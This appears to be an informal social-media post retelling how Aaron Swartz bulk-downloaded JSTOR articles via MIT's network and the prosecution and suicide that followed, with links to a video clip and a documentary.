Ok one thing that changed the Aaron's life. He wanted to make government and academic data available for free to the public. Yes, they are selling those data, yes someone’s work. And that’s not the right thing.

So he buys a package to access data and make it public. To download all academic data from a database called JSTOR from MIT, He made a script to download.

MIT blocks Aaron's IP because of a lot of traffic but he reassigns the IP and starts again but it doesn't last long. After that, the FBI started investigating it for a short time.

But Aaron really wanted to publicize the data and help people to further research. So he decided to go to the server room and he put his laptop and hard disk to download all the data. Some people of MIT noticed who put this stuff here, so they installed CCTV cameras over there. You can see the clip here

https://www.youtube.com/watch?v=hL0DQdbs7yQ

So MIT got proof and In 2011, Swartz was arrested by MIT police on state breaking-and-entering charges, after connecting a computer to the MIT network in an unmarked and unlocked closet and setting it to download academic journal articles systematically from JSTOR using a guest user account issued to him by MIT.

Federal prosecutors, led by Carmen Ortiz, later charged him with two counts of wire fraud and eleven violations of the Computer Fraud and Abuse Act, carrying a cumulative maximum penalty of $1 million in fines, 35 years in prison, asset forfeiture, restitution, and supervised release.

Swartz declined a plea bargain under which he would have served six months in federal prison.

Two days after the prosecution rejected a counter-offer by Swartz, he was found dead by suicide in his Brooklyn apartment

And that’s how we lose our hero. He just wanted an open-source world where he wanted to put both sides the people.

Correct me for information. You can watch a documentary on YouTube, titled: The Internet's Own Boy: The Story of Aaron Swartz

Link: https://www.youtube.com/watch?v=9vz06QO3UkQ

Find me on twitter/awwarpit

Thanks :)